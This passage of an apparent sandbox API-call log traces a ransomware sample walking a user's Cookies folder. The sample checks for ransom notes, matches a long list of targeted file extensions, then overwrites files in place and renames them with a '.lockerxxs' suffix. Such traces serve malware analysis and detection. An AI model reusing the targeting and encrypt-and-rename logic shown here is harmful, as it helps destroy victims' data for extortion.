ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@google[2].txt") returned 1 [0088.334] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@google[2].txt") returned 1 [0088.334] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@google[2].txt") returned -1 [0088.334] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0088.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.335] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.335] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@google[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" [0088.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.ems") returned 0 [0088.335] lstrlenA (lpString="*.ems") returned 5 [0088.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.db") returned 0 [0088.335] lstrlenA (lpString="*.db") returned 4 [0088.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.dbf") returned 0 [0088.335] lstrlenA (lpString="*.dbf") returned 5 [0088.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.myox") returned 0 [0088.335] lstrlenA (lpString="*.myox") returned 6 [0088.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.myo") returned 0 [0088.336] lstrlenA (lpString="*.myo") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbw") returned 0 [0088.336] lstrlenA (lpString="*.qbw") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbb") returned 0 [0088.336] lstrlenA (lpString="*.qbb") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbm") returned 0 [0088.336] lstrlenA (lpString="*.qbm") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbo") returned 0 [0088.336] lstrlenA (lpString="*.qbo") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbx") returned 0 [0088.336] lstrlenA (lpString="*.qbx") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qba") returned 0 [0088.336] lstrlenA (lpString="*.qba") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qby") returned 0 [0088.336] lstrlenA (lpString="*.qby") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qbj") returned 0 [0088.336] lstrlenA (lpString="*.qbj") returned 5 [0088.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.ofx") returned 0 [0088.337] lstrlenA (lpString="*.ofx") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.qif") returned 0 [0088.337] lstrlenA (lpString="*.qif") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.mye") returned 0 [0088.337] lstrlenA (lpString="*.mye") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.mbox") returned 0 [0088.337] lstrlenA (lpString="*.mbox") returned 6 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.eml") returned 0 [0088.337] lstrlenA (lpString="*.eml") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.pst") returned 0 [0088.337] lstrlenA (lpString="*.pst") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.ost") returned 0 [0088.337] lstrlenA (lpString="*.ost") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.idx") returned 0 [0088.337] lstrlenA (lpString="*.idx") returned 5 [0088.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.dbx") returned 0 [0088.337] lstrlenA (lpString="*.dbx") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.sql") returned 0 [0088.338] lstrlenA (lpString="*.sql") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.mdb") returned 0 [0088.338] lstrlenA (lpString="*.mdb") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.fdb") returned 0 [0088.338] lstrlenA (lpString="*.fdb") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.wab") returned 0 [0088.338] lstrlenA (lpString="*.wab") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.dat") returned 0 [0088.338] lstrlenA (lpString="*.dat") returned 5 [0088.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", pszSpec="*.txt") returned 1 [0088.338] lstrlenA (lpString="*.txt") returned 5 [0088.338] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" [0088.338] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" [0088.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt." [0088.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.lockerxxs" [0088.338] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.342] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x114 [0088.342] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x86af2d0, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x2c7870d0, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2c7870d0, dwHighDateTime=0x1d35d06)) returned 1 [0088.342] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.342] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xee, lpOverlapped=0x0) returned 1 [0088.344] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt") returned="5p5nrgjn0js_halpmcxz@google[2].txt" [0088.344] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.344] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xee, lpOverlapped=0x0) returned 1 [0088.345] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.345] CloseHandle (hObject=0x98) returned 1 [0088.345] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.lockerxxs")) returned 1 [0088.346] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x56, dwReserved0=0x1900031a, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@ml314[1].txt", cAlternateFileName="5P0DBF~1.TXT")) returned 1 [0088.346] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.346] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned 1 [0088.346] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned 1 [0088.347] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned -1 [0088.347] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt") returned="5p5nrgjn0js_halpmcxz@google[2].txt" [0088.347] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.347] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.347] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.347] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.347] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" [0088.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.ems") returned 0 [0088.347] lstrlenA (lpString="*.ems") returned 5 [0088.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.db") returned 0 [0088.347] lstrlenA (lpString="*.db") returned 4 [0088.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.dbf") returned 0 [0088.347] lstrlenA (lpString="*.dbf") returned 5 [0088.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.myox") returned 0 [0088.347] lstrlenA (lpString="*.myox") returned 6 [0088.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.myo") returned 0 [0088.348] lstrlenA (lpString="*.myo") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbw") returned 0 [0088.348] lstrlenA (lpString="*.qbw") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbb") returned 0 [0088.348] lstrlenA (lpString="*.qbb") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbm") returned 0 [0088.348] lstrlenA (lpString="*.qbm") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbo") returned 0 [0088.348] lstrlenA (lpString="*.qbo") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbx") returned 0 [0088.348] lstrlenA (lpString="*.qbx") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qba") returned 0 [0088.348] lstrlenA (lpString="*.qba") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qby") returned 0 [0088.348] lstrlenA (lpString="*.qby") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qbj") returned 0 [0088.348] lstrlenA (lpString="*.qbj") returned 5 [0088.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.ofx") returned 0 [0088.348] lstrlenA (lpString="*.ofx") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.qif") returned 0 [0088.349] lstrlenA (lpString="*.qif") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.mye") returned 0 [0088.349] lstrlenA (lpString="*.mye") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.mbox") returned 0 [0088.349] lstrlenA (lpString="*.mbox") returned 6 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.eml") returned 0 [0088.349] lstrlenA (lpString="*.eml") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.pst") returned 0 [0088.349] lstrlenA (lpString="*.pst") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.ost") returned 0 [0088.349] lstrlenA (lpString="*.ost") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.idx") returned 0 [0088.349] lstrlenA (lpString="*.idx") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.dbx") returned 0 [0088.349] lstrlenA (lpString="*.dbx") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.sql") returned 0 [0088.349] lstrlenA (lpString="*.sql") returned 5 [0088.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.mdb") returned 0 [0088.350] lstrlenA (lpString="*.mdb") returned 5 [0088.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.fdb") returned 0 [0088.350] lstrlenA (lpString="*.fdb") returned 5 [0088.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.wab") returned 0 [0088.350] lstrlenA (lpString="*.wab") returned 5 [0088.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.dat") returned 0 [0088.350] lstrlenA (lpString="*.dat") returned 5 [0088.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", pszSpec="*.txt") returned 1 [0088.350] lstrlenA (lpString="*.txt") returned 5 [0088.350] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" [0088.350] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="C:\\Users\\5p5NrGJn0jS 